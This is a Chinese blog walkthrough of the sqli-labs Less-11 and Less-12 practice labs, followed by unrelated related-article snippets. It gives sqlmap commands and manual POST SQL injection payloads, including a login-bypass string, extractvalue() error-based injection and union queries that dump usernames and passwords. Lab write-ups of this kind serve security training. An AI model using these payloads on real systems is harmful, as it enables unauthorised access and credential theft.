sqli-labs Less-11,12

news2024/11/27 18:42:33

less-11(基于错误的POST型单引号字符型注入)

sqlmap

1.使用bp抓包

 2.保存为1.txt在本地,使用sqlmap查询数据库

sqlmap.py -r "C:\Users\wy199\Desktop\1.txt"  --dbs

 3.查询当前数据库的所有表

sqlmap.py -r "C:\Users\wy199\Desktop\1.txt"  -D security --tables

 4.爆字段名

sqlmap.py -r "C:\Users\wy199\Desktop\1.txt"  -D security -T users --co
lumns

 5.爆数据

sqlmap.py -r "C:\Users\wy199\Desktop\1.txt"  -D security -T users -C "username,password" --dump

手注

1.随便输点什么,bp抓包

发现是post请求

2.查看一下源码

两个框分别是uname,passwd

3.判断注入类型

可以判断出是单引号字符型注入

 由报错信息可知,--+没有发挥作用,尝试用其他注释符:#

4.注释符可以用#

5.使用万能密码登陆成功 

1' or 1=1#

 6.使用union联合查询,判断列数为2

 7.报错注入常用函数:报错注入常用函数_寻岛小白的博客-CSDN博客

利用基于extractvalue()的报错注入

extractvalue()函数是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数;
Payload:extractvalue(xml_document,concat(0x7e,concat(database())))
具体用法:extractvalue(1,concat(0x7e,(select database())))

extractvalue()有两个参数,当写入不合法的内容就会报错(合法不会显示),通过报错,可以将我想要查询的东西带出来。基于此我们查看当前数据库,构造uname:1' union select 1,extractvalue(1,concat(0x7e,(select database()))) #或者1' and extractvalue(1,concat(0x7e,(select database()))) ,报错注入可以不借助联合查询,在没法用union联合查询时可以用报错注入,但前提还是不能过滤一些关键的函数。其中0x7e是~,extractvalue()里第一个参数随意,这里随便写了个1

可以看到数据库是security。接下来看表名,构造uname为

1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()))) #

提交完发现提示不止一行,后面加个limit语句限制输出1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) #

通过更改limit第一个参数查看不同行

 或者1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

查看后发现有个表叫users,下面查列名,构造uname:1' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) #

看到列名,下面查具体数据,构造uname:(0x3e是冒号)

concat函数:1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1))) #

concat_ws函数:concat_ws(0x3a,username,password)。可以看到确实查出来了,但这样有点慢

concat,concat_ws()函数,group_concat()函数的区别以及用法:MySQL之concat的用法_mysql concat_彭俞伟的博客-CSDN博客

 group_concat函数:1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) #

看到显示不全,那是因为extractvalue()函数最多显示32位,于是可以用substring()函数来截取,一段一段的看,构造uname:1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,32))) #

substring函数第一个数字表示起始位置,第二个数字表示读取长度。

 

 

LESS-12(基于错误的POST型双引号字符型注入)

1.bp抓包

2.保存到本地,sqlmap爆数据库

sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" --dbs

 3.爆表

sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" -D security --tables

 4.爆字段

sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" -D security -T users --col
umns

 5.爆数据

sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" -D security -T users -C "password,username" --dump

 手注

1,1'都登录失败,1"报错如下

可以看到有报错回显,且回显信息为:“1"”) and password=(“”) LIMIT 0,1。 可以猜测sql语句为:select username, password from 某表 where username=("用户输入") and password=("用户输入") limit 0,1,然后尝试闭合双引号和括号,并注释掉后面的内容,构造1") #提交

 order by 看看列数,order by 2显示登录失败,order by 3有报错回显 ,说明两列

 构造1") or 1 #看看登录成功会有什么效果,结果仍有回显。那么就试试联合查询,构造1") union select 1,2 #查看数据库名,1") union select 1,database() #

 查看表名:1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 

查看列名:1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

查看数据,1") union select 1,group_concat(username,0x3a,password) from users #

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/551166.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

正点原子ALPHA开发板核心资源分析

目录 正点原子ALPHA开发板核心资源分析I.MX6ULL实物图对比SOC 主控芯片(MCIMX6Y2CVM08AB)NAND FLASHEMMCDDR3L 正点原子ALPHA开发板核心资源分析 I.MX6ULL实物图对比 I.MX6ULL NAND BTB 接口核心板资源图与 I.MX6ULL EMMC BTB 接口核心板资源图如上图&a…

安装ElasticSearch之前的准备工作jdk的安装

一.windows 下载jdk的软件 (1).进入jdk1.8官网 (2).根据电脑是32位还是64位按需下载 (3).点击下载之后就会跳转到Oracle账号登录界面 没有 Oracle账号的注册一下就可以了 下载好的jdk如下: 双击下一步下一步安装jdk 默认安装就可以了 配置环境变量 (1).电脑左下方设置选项 (2).…

UFT软件的安装与注意事项

安装包下载 UFT软件的安装包网上也有许多,这里我分享下我使用的--->UFT安装包 下载完成解压后进行安装。 要注意关闭杀毒软件,否则安装过程中某些组件可能会安装不上。 部分电脑在安装过程中出现以下提示,可以点击确定 然后我们查看桌面上…

学习open62541 --- [77] 修改String类型变量的注意点

对于String类型的节点,其值的类型是UA_String,在这篇文章中我们解释了UA_String的生成方法。 当我们修改String类型节点的值时,会事先准备一个UA_String变量,这时就会遇到一个选择:是否需要动态分配内存,即…

一种基于数值的横向相互作用

( A, B )---144*30*2---( 1, 0 )( 0, 1 ) 让网络的输入有144个节点,训练集AB各由12张二值化的图片组成,让A中每行有1个1,B中全是0,排列组合A ,统计迭代次数的顺序。 前面实验已经表明对于A中每行只有1个1,…

虚幻or现实?堆区、栈区真实存在吗?是操作系统在骗你罢了...

文章目录 💐专栏导读💐文章导读🐧引例 🐦进程地址空间🐦虚拟地址与物理内存的联系🔔回答引例中的问题🔓写时拷贝 🐦虚拟地址存在的意义🔓malloc的本质 💐专栏…

Lift, Splat, Shoot 论文学习

1. 解决了什么问题? LSS 在工业界具有非常重要的地位。自从 Tesla AI Day 上提出了 BEV 感知后,不少公司都进行了 BEV 工程化的探索。当前 BEV 下的感知方法大致分为两类: 自下而上:利用 transformer 的 query 机制,…

软考 软件设计师上午题设计模式概念类

设计模式分类 创建型设计模式 简单工厂模式 不符合开闭原则,因此没有列入23类模式里 对扩展开放对修改关闭 工厂方法模式 说穿了:系统开放一个接口(拓展开放)、不提供修改的接口(修改关闭),…

基于html+css的图展示83

准备项目 项目开发工具 Visual Studio Code 1.44.2 版本: 1.44.2 提交: ff915844119ce9485abfe8aa9076ec76b5300ddd 日期: 2020-04-16T16:36:23.138Z Electron: 7.1.11 Chrome: 78.0.3904.130 Node.js: 12.8.1 V8: 7.8.279.23-electron.0 OS: Windows_NT x64 10.0.19044 项目…

使用贝壳物联控制led灯

1、完成esp8266 01S的固件刷机 1.1 使用刷机软件刷原生固件 esp8266 01S要使用标准固件1M(主要是01S是8M) 1.2 刷机接线方式 ttl直接连esp8266 接线: tts esp8266 3v3 ---》面包板高----》3.3 tx--------------…

BEVFormer 论文学习

1. 解决了什么问题? 3D 视觉感知任务,包括基于多相机图像的 3D 目标检测和分割,对于自动驾驶系统非常重要。与基于 LiDAR 的方法相比,基于相机图像的方法能够检测到更远距离的目标,识别交通信号灯、交通标识等信息。有…

[CTF/网络安全] 攻防世界 command_execution 解题详析

[CTF/网络安全] 攻防世界 command_execution 解题详析 ping命令ping命令的应用格式ping命令执行漏洞 ls命令cat命令姿势ping本地回环地址ping目录ping文件夹ping文件 Tips总结 题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道…

图【无向图】的创建与遍历

树:无回路 图:有回路 代码在最下面 邻接矩阵:重点:矩阵 (一)图的创建 存储方式 如图: 代码截图分析:顶点用一维数组存,边用两个点之间的值为0或1来表…

异地研发团队都使用哪些研发协同工具?盘点7类最主流的研发管理协同软件

产品研发场景下好用的协同办公软件有哪些?分享7类研发过程中主流的协同办公软件,比如项目管理协作与问题跟踪工具PingCode、代码托管与版本控制平台github、持续集成与持续部署(CI/CD)工具jinkens、文档协作与知识管理工具conflue…

【力扣周赛】第346场周赛

【力扣周赛】第346场周赛 6439. 删除子串后的字符串最小长度题目描述解题思路 6454. 字典序最小回文串题目描述解题思路 6441. 求一个整数的惩罚数题目描述解题思路 6439. 删除子串后的字符串最小长度 题目描述 描述:给你一个仅由 大写 英文字符组成的字符串 s 。…

Gradle ——Gradle安装与配置

目录 一、简介 二、功能和特点 三、安装 参考: Gradle_百度百科 Gradle 学习 ----Gradle 入门_你若不离不弃,我必生死相依的博客-CSDN博客 还有硬石科技的开源wifiAPP程序,没找到他们的码仓 一、简介 Gradle是一个基于Apache Ant和Apache Maven概念…

BPMN2.0 -条件序列流和默认序列流

序列流是流程中两个元素或者活动的连接器。在流程执行过程中访问一个元素之后,将继续执行素有的序列流,默认是并行的。传出的序列流将创建独立的并行执行路径。 顺序流需要有流程唯一的id,并引用存在的源与目标元素。 <sequenceFlow id="flow1" sourceRef=&qu…

vxe-table 对合并列的理解

行列对应关系 删除数据&#xff0c;只对一条数据进行分析 合并列代码&#xff08;_rowspan移除不影响&#xff0c;但是函数会eslint报红&#xff0c;正常运行&#xff09; 合并之后&#xff0c;从第一列开始&#xff0c;内容整体右移动&#xff0c;标题内容不对应 解决内容右移…

第三章 openEuler 文件系统

系列文章目录 第一章 openEuler 安装指南 第二章 openEuler 网络配置 第三章 openEuler 文件系统 文章目录 系列文章目录前言一、openEuler中的文件系统1.整体架构2.文件系统层次结构3. FHS定义的一级目录结构 二、常用命令1. pwd 查看当前所在的目录路径2. ls 查看当前目录下…

算法——各排序算法效率对比和总结

1. 算法效率对比 在此我们使用如下代码来测试各个算法的效率 void TestOP() {srand(time(0));const int N 100000;int* a1 (int*)malloc(sizeof(int) * N);int* a2 (int*)malloc(sizeof(int) * N);int* a3 (int*)malloc(sizeof(int) * N);int* a4 (int*)malloc(sizeof(i…